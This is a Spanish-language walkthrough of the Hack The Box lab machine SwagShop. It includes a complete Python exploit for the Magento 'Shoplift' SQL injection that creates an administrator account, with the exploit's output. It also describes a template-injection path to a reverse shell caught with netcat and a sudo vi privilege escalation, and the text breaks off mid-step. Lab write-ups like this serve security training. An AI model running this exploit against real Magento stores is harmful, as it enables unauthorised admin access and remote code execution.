Publicado: 02 de Junio de 2025
Autor: José Miguel Romero aKa x3m1SecDificultad: ⭐ Easy
📝 Descripción
SwagShop es una máquina Linux de dificultad Easy que presenta una tienda online construida con Magento CMS versión 1.9.0.0. La explotación inicial se realiza a través de una vulnerabilidad de SQL injection (CVE-2015-1397) conocida como "Shoplift" que permite crear un usuario administrador. Una vez autenticados, se aprovecha la funcionalidad de plantillas de Magento para ejecutar código PHP malicioso y obtener una reverse shell. La escalada de privilegios se consigue mediante el abuso de permisos sudo mal configurados que permiten ejecutar vi como root.
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.10.140
PING 10.10.10.140 (10.10.10.140) 56(84) bytes of data.
64 bytes from 10.10.10.140: icmp_seq=1 ttl=63 time=47.9 ms
64 bytes from 10.10.10.140: icmp_seq=2 ttl=63 time=45.2 ms
--- 10.10.10.140 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 45.191/46.569/47.948/1.378 ms
💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.
nmap -sC -sV -p$ports 10.10.10.140 -oN services.txt
❯ Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-02 15:26 CEST
Nmap scan report for 10.10.10.140
Host is up (1.4s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Did not follow redirect to http://swagshop.htb/
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
⚠️ Importante: Detectamos durante la fase de enumeración con nmap que se está realizando virtual hosting. Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts
echo "10.10.10.140 swagshop.htb" | sudo tee -a /etc/hosts
🌐 Enumeración Web
80 HTTP
http://swagshop.htb/
📂 Fuzzing de directorios
Realizamos fuzzing de directorios usando diversas herramientas como dirsearch, gobuster o feroxbuster:
Encontramos un recurso que nos podría dar información sobre la versión que se está utilizando.
Pero solo da notas de lanzamiento hasta la versión 1.7.0.2, y luego da una url para visitar para notas de lanzamiento de versión posterior, por lo que esto no es útil en este caso, aunque podría tratarse de una versión antigua.
import requests
import base64
import sys
target = sys.argv[1]
if not target.startswith("http"):
target = "http://" + target
if target.endswith("/"):
target = target[:-1]
target_url = target + "/index.php/admin/Cms_Wysiwyg/directive/index/"
# For demo purposes, I use the same attack as is being used in the wild
SQLQUERY="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
# Put the nice readable queries into one line,
# and insert the username:password combinination
query = SQLQUERY.replace("\n", "").format(username="ypwq", password="123")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds ypwq:123".format(target)
else:
print "DID NOT WORK"
python2.7 exploit.py 10.10.10.140
WORKED
Check http://10.10.10.140/admin with creds ypwq:123
🔓 Acceso al Panel de Administración
Ahora, podemos verificar que las credenciales funcionan accediendo al panel de administración de Magento en http://10.10.10.140/index.php/admin y usando las credenciales ypwq:123
Ahora que ya estamos autenticados, existen varias formas de obtener el RCE partiendo de una autenticación como usuario administrador. Una de ellas es usar alguno de los exploits públicos
🐸 Froghopper Attack - Template Injection
Otra por ejemplo es usar la técnica froghopper attack que se detalle en este paper:
Haciendo hovering sobre el archivo que hemos subido vemos que se ha alojado en la ruta: http://swagshop.htb/media/catalog/category/poc.php.png
3 - Newsletter -> Template
Creamos un nuevo template en el que vamos a referenciar nuestro archivo para abusar de un LFI el archivo al que quieres apuntar, en este caso nos interesa apuntar a la php reverse shell que hemos subido.
Nota: Aquí el problema que se nos plantea en que no sabemos en qué directorio estamos actualmente (/var/www/html/a/b/c etc), por lo que tendremos que ir jugando e ir bajando directorios hasta que lo encontremos.
Para ello vamos primero a iniciar un listener con netcat:
nc -nlvp 443
Para probar la explotación, hacemos uso del botón Save Template, vamos a trás, pinchamos en la plantilla y por útlimo en Preview Template para que se desencadene la llamada:
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.140] 45992
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
Obtenemos la primera flag del directorio del usuario haris:
www-data@swagshop:/home/haris$ ls -la
total 36
drwxr-xr-x 4 haris haris 4096 Oct 16 2023 .
drwxr-xr-x 3 root root 4096 Nov 12 2021 ..
-rw------- 1 haris haris 54 May 2 2019 .Xauthority
lrwxrwxrwx 1 root root 9 May 8 2019 .bash_history -> /dev/null
-rw-r--r-- 1 haris haris 220 May 2 2019 .bash_logout
-rw-r--r-- 1 haris haris 3771 May 2 2019 .bashrc
drwx------ 2 haris haris 4096 Nov 12 2021 .cache
drwx------ 3 haris haris 4096 Oct 13 2023 .gnupg
lrwxrwxrwx 1 root root 9 Oct 10 2023 .mysql_history -> /dev/null
-rw-r--r-- 1 haris haris 655 May 2 2019 .profile
-rw-r--r-- 1 haris haris 33 May 31 19:47 user.txt
www-data@swagshop:/home/haris$ cat user.txt
👑 Escalada a Root
🔍 Enumeración de Privilegios Sudo
Verificamos si hay algún comando que podamos ejecutar como root sin que se requiera contraseña y vemos que podemos usar vi para leer cualquier archivo que haya en /var/www/html y se está haciendo uso de wildcard, lo cual es peligroso:
www-data@swagshop:/var/www/html$ sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
www-data@swagshop:/var/www/html$
Por lo que podríamos simplemente leer cualquier archivo que se encuentre en ese directorio
sudo /usr/bin/vi /var/www/html/LICENSE.txt
Y una vez dentro del contexto de vi, ejecutar lo siguiente: